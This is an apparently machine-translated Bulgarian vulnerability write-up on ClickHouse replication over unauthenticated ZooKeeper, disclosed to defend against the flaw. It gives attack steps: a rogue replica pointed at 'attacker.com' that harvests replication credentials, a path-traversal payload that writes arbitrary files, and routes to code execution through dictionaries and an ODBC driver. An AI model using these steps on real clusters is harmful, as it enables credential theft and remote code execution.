Защо трябва да държите клетките в зоопарка затворени?

Тази статия ще разкаже историята на една много специфична уязвимост в протокола за репликация на ClickHouse и също така ще покаже как повърхността за атака може да бъде разширена.

ClickHouse е база данни за съхранение на големи обеми данни, като най-често се използва повече от една реплика. Клъстерирането и репликацията в ClickHouse са изградени отгоре Apache ZooKeeper (ZK) и изискват права за запис.

ZK инсталацията по подразбиране не изисква удостоверяване, така че хиляди ZK сървъри, използвани за конфигуриране на Kafka, Hadoop, ClickHouse, са публично достъпни.

За да намалите повърхността си за атака, винаги трябва да конфигурирате удостоверяване и оторизация, когато инсталирате ZooKeeper

Разбира се, има някои базирани на 0 дни десериализации на Java, но си представете, че атакуващ може да чете и пише в ZooKeeper, използван за репликация на ClickHouse.

Когато е конфигуриран в клъстерен режим, ClickHouse поддържа разпределени заявки DDL, преминаващи през ЗК - за тях се създават възли в листа /clickhouse/task_queue/ddl.

Например създавате възел /clickhouse/task_queue/ddl/query-0001 със съдържание:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

и след това тестовата таблица ще бъде изтрита на клъстерните сървъри host1 и host2. DDL също поддържа изпълнение на CREATE/ALTER/DROP заявки.

Звучи страшно? Но откъде един нападател може да получи сървърни адреси?

Репликация на ClickHouse работи на ниво отделни таблици, така че когато се създава таблица в ZK, се посочва сървър, който ще отговаря за обмена на метаданни с реплики. Например, когато изпълнявате заявка (ZK трябва да бъде конфигуриран, chXX - име на репликата, foobar - име на таблица):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ще бъдат създадени възли колони и метаданни.

съдържание /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Възможно ли е обединяване на данни от този клъстер? Да, ако портът за репликация (TCP/9009) на сървъра chXX-address защитната стена няма да бъде затворена и удостоверяването за репликация няма да бъде конфигурирано. Как да заобиколя удостоверяването?

Нападателят може да създаде нова реплика в ZK, като просто копира съдържанието от /clickhouse/tables/01-01/foobar/replicas/chXX и промяна на смисъла host.

съдържание /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

След това трябва да кажете на другите реплики, че има нов блок от данни на сървъра на атакуващия, който те трябва да вземат - създава се възел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно нарастващ брояч, който трябва да е по-голям от последния в регистъра на събитията):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

където източник_реплика — името на репликата на нападателя, създадена в предишната стъпка, block_id — идентификатор на блок данни, получавам - команда "get block" (и тук има команди за други операции).

След това всяка реплика чете ново събитие в дневника и отива на сървър, контролиран от атакуващия, за да получи блок от данни (протоколът за репликация е двоичен, работи върху HTTP). сървър attacker.com ще получава заявки:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

където XXX са данните за удостоверяване за репликация. В някои случаи това може да е акаунт с достъп до базата данни чрез основния протокол ClickHouse и HTTP протокола. Както видяхте, повърхността за атака става критично голяма, защото ZooKeeper, използван за репликация, е оставен без конфигурирано удостоверяване.

Нека да разгледаме функцията за получаване на блок данни от реплика, написано е с пълна увереност, че всички реплики са под подходящ контрол и има доверие между тях.

код за обработка на репликация

Функцията чете списък с файлове, след това техните имена, размери, съдържание и след това ги записва във файловата система. Струва си да се опише отделно как се съхраняват данните във файловата система.

Има няколко поддиректории в /var/lib/clickhouse (директория за съхранение по подразбиране от конфигурационния файл):

знамена - директория за запис знамена, използвани при възстановяване след загуба на данни;
TMP — директория за съхранение на временни файлове;
потребителски_файлове — операциите с файлове в заявките са ограничени до тази директория (INTO OUTFILE и други);
метаданни — sql файлове с описания на таблици;
preprocessed_configs - обработени производни конфигурационни файлове от /etc/clickhouse-server;
данни - действителната директория със самите данни, в този случай за всяка база данни тук просто се създава отделна поддиректория (напр. /var/lib/clickhouse/data/default).

За всяка таблица се създава поддиректория в директорията на базата данни. Всяка колона е отделен файл в зависимост от формат на двигателя. Например за маса foobarсъздадени от нападател, ще бъдат създадени следните файлове:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Репликата очаква да получи файлове със същите имена, когато обработва блок от данни и не ги валидира по никакъв начин.

Внимателният читател вероятно вече е чувал за опасната конкатенация на file_name във функция WriteBufferFromFile. Да, това позволява на атакуващ да напише произволно съдържание във всеки файл на FS с потребителски права clickhouse. За да направите това, репликата, контролирана от атакуващия, трябва да върне следния отговор на заявката (за по-лесно разбиране са добавени нови редове):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

и след конкатенация ../../../../../../../../../tmp/pwned файлът ще бъде записан /tmp/pwned със съдържание hellofromzookeeper.

Има няколко опции за превръщане на възможността за писане на файлове в дистанционно изпълнение на код (RCE).

Външни речници в RCE

В по-старите версии директорията с настройките на ClickHouse се съхраняваше с потребителски права clickhouse по подразбиране. Файловете с настройки са XML файлове, които услугата чете при стартиране и след това кешира /var/lib/clickhouse/preprocessed_configs. Когато настъпят промени, те се препрочитат. Ако имате достъп до /etc/clickhouse-server нападателят може да създаде свой собствен външен речник изпълним тип и след това изпълнете произволен код. Текущите версии на ClickHouse не предоставят права по подразбиране, но ако сървърът се актуализира постепенно, тези права могат да останат. Ако поддържате клъстер ClickHouse, проверете правата върху директорията с настройки, тя трябва да принадлежи на потребителя root.

ODBC към RCE

При инсталиране на пакет се създава потребител clickhouse, но началната му директория не е създадена /nonexistent. Въпреки това, когато използвате външни речници или по други причини, администраторите създават директория /nonexistent и дават на потребителя clickhouse достъп за писане в него (SSZB! прибл. преводач).

ClickHouse поддържа ODBC и може да се свързва с други бази данни. В ODBC можете да посочите пътя до библиотеката на драйвера на базата данни (.so). По-старите версии на ClickHouse ви позволяваха да правите това директно в манипулатора на заявки, но сега е добавена по-стриктна проверка на низа за връзка към odbc-bridge, така че вече не е възможно да се посочи пътя на драйвера от заявката. Но може ли нападател да пише в началната директория, използвайки описаната по-горе уязвимост?

Нека създадем файл ~/.odbc.ini със съдържание като това:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

след това при стартиране SELECT * FROM odbc('DSN=lalala', 'test', 'test'); библиотеката ще бъде заредена test.so и получи RCE (благодаря buglloc за върха).

Тези и други уязвимости са коригирани във версия 19.14.3 на ClickHouse. Погрижете се за вашите ClickHouse и ZooKeepers!

Източник: www.habr.com